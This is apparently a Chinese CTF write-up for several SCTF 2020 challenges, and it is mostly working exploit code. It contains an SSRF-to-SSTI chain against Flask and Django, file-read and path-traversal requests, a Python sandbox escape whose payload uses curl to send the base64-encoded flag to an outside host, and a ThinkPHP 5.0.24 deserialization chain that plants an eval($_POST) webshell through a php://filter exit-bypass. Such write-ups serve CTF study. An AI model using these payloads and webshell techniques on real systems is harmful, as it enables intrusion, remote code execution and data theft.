sctf2020

SCTF 2020

Jsonhub

阅读代码发现,这一题存在着两个环境,其中,内网服务可以ssti,所以我们需要想办法访问内网:

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/caculator', methods=["POST"])
def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})

return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

可以进行符合条件的ssrf的只有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

def flask_rpc(request):
if request.META['REMOTE_ADDR'] != "127.0.0.1":
return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

methods = request.GET.get("methods")
url = request.GET.get("url")

if methods == "GET":
return JsonResponse(
{"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
elif methods == "POST":
data = base64.b64decode(request.GET.get("data"))
return JsonResponse({"code": 0, "message": requests.post(url, data=data,
headers={"User-Agent": "Django proxy =v=",
"Content-Type": "application/json"}, timeout=1).text})
else:
return JsonResponse({"code": -1, "message": "=3="})

但是需要request.META['REMOTE_ADDR']==127.0.0.1,利用 CVE-2018-14574跳转到127.0.0.1:8000访问/rpc ,这样我们就能ssti,在这之前我们需要搞到Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@login_required
def home(request):
if request.method == "GET":
return render(request, "templates/home.html")
elif request.method == "POST":
white_list = ["39.104.19.182"]
try:
data = json.loads(request.body)
except ValueError:
return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

if Token.objects.all().first().Token == data["token"]:
try:
if ssrf_check(data["url"], white_list):
return JsonResponse({"code": -1, "message": "Hacker!"})
else:
res = requests.get(data["url"], timeout=1)
except Exception:
return JsonResponse({"code": -1, "message": "Request Error"})
if res.status_code == 200:
return JsonResponse({"code": 0, "message": res.text})
else:
return JsonResponse({"code": -1, "message": "Something Wrong"})
else:
return JsonResponse({"code": -1, "message": "Token Error"})
1
2
3
4
5
6
7
8
9
10
11
12
13
def reg(request):
if request.method == "GET":
return render(request, "templates/reg.html")
elif request.method == "POST":
try:
data = json.loads(request.body)
except ValueError:
return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

if len(User.objects.filter(username=data["username"])) != 0:
return JsonResponse({"code": 1})
User.objects.create_user(**data)
return JsonResponse({"code": 0})

构造:{"username":"test66666","password":"test66666","is_staff":true,"is_superuser":true}

得到token:3ad9af405504233188f694a11ff22115

接下来就是ssti了

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/caculator', methods=["POST"])
def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})

return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import base64
import json
num1=1
num2=2
symbols="-{{''.__class__.__mro__[1].__subclasses__()[409]('/readflag',shell=True,stdout=-1).communicate()}}-"
data={
"num1":num1,
"num2":num2,
"symbols":symbols
}
payload=json.dumps(data).replace("{{","\\u007b\\u007b").replace("}}","\\u007d\\u007d")
payload=base64.b64encode(payload)
print(payload)
burp0_url = "http://39.104.19.182:80/home/"
burp0_cookies = {"sessionid": "bd63u3ewjx05tc7ajvlkve7b9cu8h4kx", "csrftoken": "GBW7niMYrwP9fMP6jpgHN1ujcxEwuRQ4tMKdBDdnZvSlDny51S1K1cMmWtOsR0gO"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://39.104.19.182", "Referer": "http://39.104.19.182/home/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_json={"token": "3ad9af405504233188f694a11ff22115", "url": "http://39.104.19.182//127.0.0.1:8000/rpc?url=http://127.0.0.1:5000/caculator&methods=POST&data={payload}".format(payload=payload)}
print(requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json).text)

SCTF{2b19246757c63738e7c40bbdf87c3be1}

Can you hear

We used the receiver to receive the information from the space station and tried to unlock the answer😀.

搜索 “空间站” “接收机” 信息 音频 等关键字找到
https://zhuanlan.zhihu.com/p/98103018
https://www.sohu.com/a/159552694_610733
SSTV关键字

https://zhuanlan.zhihu.com/p/105460358
https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04

下载 mmsstv
修改录音设备为立体声混音
具体操作为:Option->Soundcard input level
播放音频得到flag:

image5949
SCTF{f78fsd1423fvsa}

CloudDisk

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="dc62d163f53ce13369ab97041706060c"
Content-Length: 1547
Last-Modified: Sat, 04 Jul 2020 05:14:45 GMT
Cache-Control: max-age=0
Content-Type: application/octet-stream
Date: Sat, 04 Jul 2020 05:14:50 GMT
Connection: close

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "03229a6694e657077f218c322f3e0bea"


app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));


router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}
if(file.path.toString().search("/fd/") != -1){
file.path="/dev/null"
}
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});


router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});


router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at http://localhost:' + 3333)
})

因为koa中访问参数也是ctx.request.body.xxxx 所以我们可以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /uploadfile HTTP/1.1
Host: 127.0.0.1:3333
Content-Length: 77
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:3333
Referer: http://127.0.0.1:3333/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"files":{"file":{"path":"flag"}}}

来进行任意文件读取

SCTF{47cf9489d8832e44312dssxag6f88f45736e0e9c8}

bestlanguage

1
2
3
4
5
6
7
8
9

Route::get('/',"IndexController@init");
Route::post('/rm',"IndexController@rm");
Route::get('/tmp/{filename}', function ($filename) {
readfile("./var/tmp/".$filename);
})->where('filename', '(.*)');
Route::post('/upload',"IndexController@upload");
Route::get('/move/log/{filename}', 'IndexController@moveLog')->where('filename', '(.*)');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php


namespace App\Http\Controllers;


class IndexController extends Controller
{
public function init(){
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR"],"192.168.") !== 0 && strpos($_SERVER["REMOTE_ADDR"],"10.") !== 0 ) {
die("admin only");
}
if(!file_exists("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]))){
mkdir("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]));
}
}
public function rm(){
if(strpos($_POST["filename"], '../') !== false) die("???");
if(file_exists("/var/".$_POST["filename"])){
if(is_dir("/var/".$_POST["filename"])){
rmdir("/var/".$_POST["filename"]);
echo "rmdir";
}
else{
unlink("/var/".$_POST["filename"]);
echo "unlink";
}
}
}
public function upload()
{

if(strpos($_POST["filename"], '../') !== false) die("???");
file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
}

public function moveLog($filename)
{

$data =date("Y-m-d");
if(!file_exists(storage_path("logs")."/".$data)){
mkdir(storage_path("logs")."/".$data);
}
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>1,//单位秒
)
);

$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);
echo storage_path("logs")."/".$data."/".$filename;
}
}

storage_path(“logs”):/var/www/html/storage/logs

upload dir : /var/tmp/md5(IP)/

1
2
3
Route::get('/tmp/{filename}', function ($filename) {
readfile("./var/tmp/".$filename);
})->where('filename', '(.*)');

直接任意文件读取,但是因为两个../服务器不会解析直接报错的原因无法穿到根目录,后来想到在弄个index.php就好了
最后的payload:http://39.104.93.188/index.php/tmp/../../flag

SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}

pysandbox

pysandbox1

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"

exec(secret)
return "xXXxXXx"


if __name__ == '__main__':
app.run(host="0.0.0.0")

测试环境:http://ccreater.top:60011/
禁用字符:

["\u0000", "\u0001", "\u0002", "\u0003", "\u0004", "\u0005", "\u0006", "\u0007", "\b", "\t", "\n", "\u000b", "\f", "\r", "\u000e", "\u000f", "\u0010", "\u0011", "\u0012", "\u0013", "\u0014", "\u0015", "\u0016", "\u0017", "\u0018", "\u0019", "\u001a", "\u001b", "\u001c", "\u001d", "\u001e", "\u001f", " ", "!", "\"", "#", "$", "%", "&", "'", "(", ")", "{", "|", "}", "~", "\u007f"]

利用魔术方法? : __getitem__,__getattr__

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`cat+flag|base64`') HTTP/1.1
Host: 39.104.90.30:10006
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://39.104.90.30:10006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b
Content-Length: 248

------WebKitFormBoundaryx3B8HB5b
Content-Disposition: form-data; name="cmd"

request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a;
------WebKitFormBoundaryx3B8HB5b--

pysandbox2

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?a=__import__('os').system('curl+http%3a//ccreater.top%3a60000/+-d+`/readflag|base64`') HTTP/1.1
Host: 39.104.90.30:10006
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://39.104.90.30:10006/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3B8HB5b
Content-Length: 248

------WebKitFormBoundaryx3B8HB5b
Content-Disposition: form-data; name="cmd"

request.args.__class__.__getattr__=request.args.__class__.__getitem__;app.config.__class__.__eq__=eval;app.config==request.args.a;
------WebKitFormBoundaryx3B8HB5b--

为何payload能运行

我们都知道python 调用类方法的时候会传入self参数,而我们调用app.config==request.args.a应该也会传入self参数,那么为什么这个payload可以成功

测试代码

1
2
3
4
5
6
class A():
pass
a = A()
a.__class__.__eq__=eval
a=="print(123)"

我们跟进python底层看看

image13796

这里显示nargs显示只有1个参数,参看堆栈,跟踪到最开始的地方

image13916

这里我们确实传入了self,其中v是self,w是print(123)

image14041

image14125

call_unbound处我们发现了原因,是因为ubound==0

lookup_maybe_method中设置了ubound的值

image14285

#define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0)

The difference between bound and unbound is the value of the .__self__ attribute (None when unbound).

UnsafeDefenseSystem

ThinkPHP V5.0.24

image14584

1
2
3
4
5
http://39.99.41.124/public/log.txt
http://39.99.41.124/public/test/
http://39.99.41.124/public/nationalsb/login.php


http://39.99.41.124/public/nationalsb/js/script.js中发现账号密码:

1
2
3
//username:Admin1964752
//password:DsaPPPP!@#amspe1221
//Secret **** is your birthday

文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 39.99.41.124
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

file=/etc/passwd
1
2

Warning</b>: include(): Failed opening 'php://filter/read=convert.base64-encode/resource=index.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/public/nationalsb/login.php
1
2
3
4
5
GET /public/index.php?s=/index/Index/hello&s3cr3tk3y= HTTP/1.1
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Host: 39.99.41.124
Connection: close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index extends \think\Controller{
public function index(){
$ip = $_SERVER['REMOTE_ADDR'];
echo "Warning"."<br/>";
echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
}
public function hello(){
unserialize(base64_decode($_GET['s3cr3tk3y']));
echo(base64_decode($_GET['s3cr3tk3y']));
}
}

/var/www/html/protect.py

1
....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'cjbtest';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+', // 因为 static 目录有写权限
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();
$payload = serialize($obj);
echo base64_encode($payload);

写文件到/tmp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import hashlib
payload=requests.get("http://127.0.0.1/cms/thinkphp/5.0.24/tp5/public/test.php").text.strip()
burp0_url = "http://8.208.102.48:80/public/index.php"
params={
"s":"/index/Index/hello",
"s3cr3tk3y":payload
}
burp0_headers = {"Authorization": "Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=", "Connection": "close"}
res=requests.get(burp0_url, headers=burp0_headers ,params=params)
print(res.text)
print(requests.get("http://8.208.102.48:80/public/log.txt").text)

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 8.208.102.48
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

file=php://filter/read=convert.base64-encode/resource=/tmp/PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b743f45ea3d60a1190e3f723595050ca2.php&1=phpinfo();&1=phpinfo();

写到文件里的内容

1
2
3
4
<?php
//000000000000
exit();?>
s:163:"php://filter/write=convert.base64-encode/resource=../../../../../../../../../../../../../../../../tmp/filenamebfe3467e649d6d158c51b5b5494ca5a2.php";

这里 https://www.leavesongs.com/PENETRATION/php-filter-magic.html 里面的方法已经不管用了,我们需要自己想出其他办法

这里我们用php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=来绕过死亡exit

1
2
3
4
$backdoor = '<?php eval($_POST[1]);?>';
$x = str_rot13(base64_encode($payload));
$payload = base64_decode(str_rot13(base64_encode($backdoor)));
assert(base64_decode($x) === $backdoor);

$dieORexit --convert.base64-encode|string.rot13|convert.base64-decode--> something else

$payload --convert.base64-encode|string.rot13|convert.base64-decode--> '<?php eval($_POST[1]);?>'

最后的payload:
'path' => 'php://filter/write=convert.base64-encode|string.rot13|convert.base64-decode/resource=../../../../../../../../../../../../../../../../tmp/t'.urldecode("%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E")

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /public/nationalsb/login.php HTTP/1.1
Host: 8.208.102.48
Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

file=%2ftmp%2ft%09%0Fc%9DCm0%A3.%A0%FBq%2BS%82%1FQ%28d%8D%1C%06o%3E743f45ea3d60a1190e3f723595050ca2.php&1=system('cat /flag');